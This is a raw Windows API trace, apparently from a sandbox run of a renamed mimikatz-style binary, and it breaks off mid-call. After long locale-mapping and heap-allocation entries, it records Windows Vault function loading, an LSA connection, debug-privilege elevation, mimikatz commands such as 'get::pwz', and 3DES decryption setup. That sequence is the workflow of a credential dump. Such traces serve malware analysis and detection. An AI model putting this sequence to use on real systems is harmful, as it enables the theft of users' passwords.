¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0192.212] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0192.212] GetLastError () returned 0x57 [0192.212] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0192.274] GetProcAddress (hModule=0x77940000, lpProcName="LCMapStringEx") returned 0x7798b710 [0192.274] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0192.274] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12ef00, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0192.275] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x12f540, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿpO\x15", lpUsedDefaultChar=0x0) returned 256 [0192.275] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f440, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0192.275] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f440, cbMultiByte=256, lpWideCharStr=0x12f110, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0192.275] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0192.275] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12ef00, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0192.275] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x12f640, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0192.282] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x0, Size=0x100) returned 0x154f70 [0192.282] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x13fa47370, nSize=0x104 | out: lpFilename="C:\\ProgramData\\x64.exe" (normalized: "c:\\programdata\\x64.exe")) returned 0x16 [0192.282] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0xc4) returned 0x172760 [0192.282] RtlInitializeSListHead (in: ListHead=0x13fa47170 | out: ListHead=0x13fa47170) [0192.282] GetLastError () returned 0x0 [0192.282] SetLastError (dwErrCode=0x0) [0192.282] GetEnvironmentStringsW () returned 0x172830* [0192.322] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x0, Size=0xa7c) returned 0x1732c0 [0192.322] FreeEnvironmentStringsW (penv=0x172830) returned 1 [0192.322] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x128) returned 0x173d50 [0192.322] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x3e) returned 0x164000 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x6c) returned 0x160840 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x62) returned 0x168ec0 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x78) returned 0x1608c0 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x62) returned 0x168f30 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x2e) returned 0x1720e0 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x48) returned 0x164050 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x28) returned 0x15a770 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x1a) returned 0x15a7a0 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x4a) returned 0x173e80 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x72) returned 0x160940 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x30) returned 0x172120 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x2e) returned 0x172160 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x1c) returned 0x15a7d0 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0xd2) returned 0x173ee0 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x7c) returned 0x172830 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x3a) returned 0x1640a0 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x90) returned 0x1728c0 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x24) returned 0x15a800 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x30) returned 0x1721a0 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x36) returned 0x1721e0 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x3c) returned 0x1640f0 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x52) returned 0x172960 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x3c) returned 0x164140 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x82) returned 0x1729c0 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x2e) returned 0x172220 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x1e) returned 0x15a830 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x2c) returned 0x172260 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x54) returned 0x172a50 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x52) returned 0x172ab0 [0192.360] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x2a) returned 0x1722a0 [0192.361] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x3c) returned 0x164190 [0192.361] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x54) returned 0x172b10 [0192.361] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x24) returned 0x15a860 [0192.361] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x30) returned 0x1722e0 [0192.361] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x8c) returned 0x172b70 [0192.361] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x1732c0 | out: hHeap=0x140000) returned 1 [0192.364] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x1000) returned 0x172c10 [0192.368] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x13f9ccc14) returned 0x0 [0192.428] GetLastError () returned 0x0 [0192.428] SetLastError (dwErrCode=0x0) [0192.428] GetConsoleOutputCP () returned 0x1b5 [0192.428] SetConsoleOutputCP (wCodePageID=0xfde9) returned 1 [0192.482] SetConsoleCtrlHandler (HandlerRoutine=0x13f99bfe4, Add=1) returned 1 [0192.486] RtlGetNtVersionNumbers () returned 0x1 [0192.486] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0192.495] ASN1_CreateModule () returned 0x174f50 [0192.495] ASN1_CreateEncoder () returned 0x0 [0192.495] ASN1_CreateDecoder () returned 0x0 [0192.499] LoadLibraryW (lpLibFileName="rsaenh") returned 0x7fefcfa0000 [0192.503] GetProcAddress (hModule=0x7fefcfa0000, lpProcName="CPExportKey") returned 0x7fefcfa59e8 [0192.507] LsaConnectUntrusted (in: LsaHandle=0x13fa48890 | out: LsaHandle=0x13fa48890*=0x176480) returned 0x0 [0192.513] LsaLookupAuthenticationPackage (in: LsaHandle=0x176480, PackageName=0x13fa44768, AuthenticationPackage=0x13fa48898 | out: AuthenticationPackage=0x13fa48898) returned 0x0 [0192.518] LoadLibraryW (lpLibFileName="vaultcli") returned 0x7fef4b60000 [0192.712] GetProcAddress (hModule=0x7fef4b60000, lpProcName="VaultEnumerateItemTypes") returned 0x7fef4b64b60 [0192.712] GetProcAddress (hModule=0x7fef4b60000, lpProcName="VaultEnumerateVaults") returned 0x7fef4b6468c [0192.712] GetProcAddress (hModule=0x7fef4b60000, lpProcName="VaultOpenVault") returned 0x7fef4b64274 [0192.712] GetProcAddress (hModule=0x7fef4b60000, lpProcName="VaultGetInformation") returned 0x7fef4b63fb0 [0192.712] GetProcAddress (hModule=0x7fef4b60000, lpProcName="VaultEnumerateItems") returned 0x7fef4b650d4 [0192.712] GetProcAddress (hModule=0x7fef4b60000, lpProcName="VaultCloseVault") returned 0x7fef4b642fc [0192.712] GetProcAddress (hModule=0x7fef4b60000, lpProcName="VaultFree") returned 0x7fef4b6626c [0192.713] GetProcAddress (hModule=0x7fef4b60000, lpProcName="VaultGetItem") returned 0x7fef4b65370 [0192.715] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0192.715] HidD_GetHidGuid () returned 0x10fc28 [0192.715] SetupDiGetClassDevsW (ClassGuid=0x10fbb0*(Data1=0x4d1e55b2, Data2=0xf16f, Data3=0x11cf, Data4=([0]=0x88, [1]=0xcb, [2]=0x0, [3]=0x11, [4]=0x11, [5]=0x0, [6]=0x0, [7]=0x30)), Enumerator=0x0, hwndParent=0x0, Flags=0x12) returned 0x17d9f0 [0192.759] SetupDiEnumDeviceInterfaces (in: DeviceInfoSet=0x17d9f0, DeviceInfoData=0x0, InterfaceClassGuid=0x10fbb0*(Data1=0x4d1e55b2, Data2=0xf16f, Data3=0x11cf, Data4=([0]=0x88, [1]=0xcb, [2]=0x0, [3]=0x11, [4]=0x11, [5]=0x0, [6]=0x0, [7]=0x30)), MemberIndex=0x0, DeviceInterfaceData=0x10fbc0 | out: DeviceInterfaceData=0x10fbc0) returned 1 [0192.760] SetupDiGetDeviceInterfaceDetailW (in: DeviceInfoSet=0x17d9f0, DeviceInterfaceData=0x10fbc0, DeviceInterfaceDetailData=0x0, DeviceInterfaceDetailDataSize=0x0, RequiredSize=0x10fc40, DeviceInfoData=0x0 | out: DeviceInterfaceDetailData=0x0, RequiredSize=0x10fc40, DeviceInfoData=0x0) returned 0 [0192.760] GetLastError () returned 0x7a [0192.760] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x18b2c0 [0192.760] SetupDiGetDeviceInterfaceDetailW (in: DeviceInfoSet=0x17d9f0, DeviceInterfaceData=0x10fbc0, DeviceInterfaceDetailData=0x18b2c0, DeviceInterfaceDetailDataSize=0xaa, RequiredSize=0x10fc40, DeviceInfoData=0x0 | out: DeviceInterfaceDetailData=0x18b2c0, RequiredSize=0x10fc40, DeviceInfoData=0x0) returned 1 [0192.760] CreateFileW (lpFileName="\\\\?\\hid#vid_045e&pid_0029#6&2c5e45b2&0&0000#{4d1e55b2-f16f-11cf-88cb-001111000030}" (normalized: "\\device\\0000004e"), dwDesiredAccess=0x0, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x12c [0192.761] HidD_GetAttributes () returned 0x1 [0192.761] CloseHandle (hObject=0x12c) returned 1 [0192.761] LocalFree (hMem=0x18b2c0) returned 0x0 [0192.761] SetupDiEnumDeviceInterfaces (in: DeviceInfoSet=0x17d9f0, DeviceInfoData=0x0, InterfaceClassGuid=0x10fbb0*(Data1=0x4d1e55b2, Data2=0xf16f, Data3=0x11cf, Data4=([0]=0x88, [1]=0xcb, [2]=0x0, [3]=0x11, [4]=0x11, [5]=0x0, [6]=0x0, [7]=0x30)), MemberIndex=0x1, DeviceInterfaceData=0x10fbc0 | out: DeviceInterfaceData=0x10fbc0) returned 1 [0192.761] SetupDiGetDeviceInterfaceDetailW (in: DeviceInfoSet=0x17d9f0, DeviceInterfaceData=0x10fbc0, DeviceInterfaceDetailData=0x0, DeviceInterfaceDetailDataSize=0x0, RequiredSize=0x10fc40, DeviceInfoData=0x0 | out: DeviceInterfaceDetailData=0x0, RequiredSize=0x10fc40, DeviceInfoData=0x0) returned 0 [0192.761] GetLastError () returned 0x7a [0192.761] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x18b2c0 [0192.761] SetupDiGetDeviceInterfaceDetailW (in: DeviceInfoSet=0x17d9f0, DeviceInterfaceData=0x10fbc0, DeviceInterfaceDetailData=0x18b2c0, DeviceInterfaceDetailDataSize=0xaa, RequiredSize=0x10fc40, DeviceInfoData=0x0 | out: DeviceInterfaceDetailData=0x18b2c0, RequiredSize=0x10fc40, DeviceInfoData=0x0) returned 1 [0192.761] CreateFileW (lpFileName="\\\\?\\hid#vid_08c3&pid_0003#6&2a21bbea&0&0000#{4d1e55b2-f16f-11cf-88cb-001111000030}" (normalized: "\\device\\0000004d"), dwDesiredAccess=0x0, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x12c [0192.762] HidD_GetAttributes () returned 0x1 [0192.762] CloseHandle (hObject=0x12c) returned 1 [0192.762] LocalFree (hMem=0x18b2c0) returned 0x0 [0192.762] SetupDiEnumDeviceInterfaces (in: DeviceInfoSet=0x17d9f0, DeviceInfoData=0x0, InterfaceClassGuid=0x10fbb0*(Data1=0x4d1e55b2, Data2=0xf16f, Data3=0x11cf, Data4=([0]=0x88, [1]=0xcb, [2]=0x0, [3]=0x11, [4]=0x11, [5]=0x0, [6]=0x0, [7]=0x30)), MemberIndex=0x2, DeviceInterfaceData=0x10fbc0 | out: DeviceInterfaceData=0x10fbc0) returned 0 [0192.762] SetupDiDestroyDeviceInfoList (DeviceInfoSet=0x17d9f0) returned 1 [0192.787] GetLastError () returned 0x0 [0192.787] SetLastError (dwErrCode=0x0) [0192.791] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x0, Size=0x1000) returned 0x17f190 [0192.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nmimikatz(commandline) # go::inc\r\n", cchWideChar=35, lpMultiByteStr=0x10ed00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nmimikatz(commandline) # go::inc\r\n", lpUsedDefaultChar=0x0) returned 35 [0192.796] WriteFile (in: hFile=0x720, lpBuffer=0x10ed00*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x10e640, lpOverlapped=0x0 | out: lpBuffer=0x10ed00*, lpNumberOfBytesWritten=0x10e640*=0x23, lpOverlapped=0x0) returned 1 [0192.837] ExpandEnvironmentStringsW (in: lpSrc="go::inc", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x8 [0192.837] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x16bb20 [0192.837] ExpandEnvironmentStringsW (in: lpSrc="go::inc", lpDst=0x16bb20, nSize=0x8 | out: lpDst="go::inc") returned 0x8 [0192.837] CommandLineToArgvW (in: lpCmdLine="go::inc", pNumArgs=0x10fc68 | out: pNumArgs=0x10fc68) returned 0x176630*="go::inc" [0192.837] LocalAlloc (uFlags=0x40, uBytes=0x6) returned 0x17deb0 [0192.840] RtlAdjustPrivilege (in: Privilege=0x14, NewValue=1, ForThread=0, OldValue=0x10fbf8 | out: OldValue=0x10fbf8) returned 0x0 [0192.898] GetLastError () returned 0x0 [0192.898] SetLastError (dwErrCode=0x0) [0192.898] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Privilege '20' OK\r\n", cchWideChar=19, lpMultiByteStr=0x10ec30, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Privilege '20' OK\r\n", lpUsedDefaultChar=0x0) returned 19 [0192.898] WriteFile (in: hFile=0x720, lpBuffer=0x10ec30*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0x10e570, lpOverlapped=0x0 | out: lpBuffer=0x10ec30*, lpNumberOfBytesWritten=0x10e570*=0x13, lpOverlapped=0x0) returned 1 [0192.898] LocalFree (hMem=0x17deb0) returned 0x0 [0192.898] LocalFree (hMem=0x176630) returned 0x0 [0192.898] LocalFree (hMem=0x16bb20) returned 0x0 [0192.898] GetLastError () returned 0x0 [0192.899] SetLastError (dwErrCode=0x0) [0192.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nmimikatz(commandline) # get::pwz\r\n⒀\x18", cchWideChar=36, lpMultiByteStr=0x10ed00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nmimikatz(commandline) # get::pwz\r\n", lpUsedDefaultChar=0x0) returned 36 [0192.899] WriteFile (in: hFile=0x720, lpBuffer=0x10ed00*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x10e640, lpOverlapped=0x0 | out: lpBuffer=0x10ed00*, lpNumberOfBytesWritten=0x10e640*=0x24, lpOverlapped=0x0) returned 1 [0192.899] ExpandEnvironmentStringsW (in: lpSrc="get::pwz", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x9 [0192.899] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x16bb20 [0192.899] ExpandEnvironmentStringsW (in: lpSrc="get::pwz", lpDst=0x16bb20, nSize=0x9 | out: lpDst="get::pwz") returned 0x9 [0192.899] CommandLineToArgvW (in: lpCmdLine="get::pwz", pNumArgs=0x10fc68 | out: pNumArgs=0x10fc68) returned 0x176630*="get::pwz" [0192.899] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x17deb0 [0192.919] LoadLibraryExA (lpLibFileName="bcrypt.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefd410000 [0193.126] GetProcAddress (hModule=0x7fefd410000, lpProcName="BCryptOpenAlgorithmProvider") returned 0x7fefd412640 [0193.126] BCryptOpenAlgorithmProvider (in: phAlgorithm=0x13fa48cc0, pszAlgId="3DES", pszImplementation=0x0, dwFlags=0x0 | out: phAlgorithm=0x13fa48cc0) returned 0x0 [0193.269] GetProcAddress (hModule=0x7fefd410000, lpProcName="BCryptSetProperty") returned 0x7fefd415160 [0193.269] BCryptSetProperty (in: hObject=0x18b440, pszProperty="ChainingMode", pbInput=0x13fa05f88, cbInput=0x20, dwFlags=0x0 | out: hObject=0x18b440) returned 0x0 [0193.269] GetProcAddress 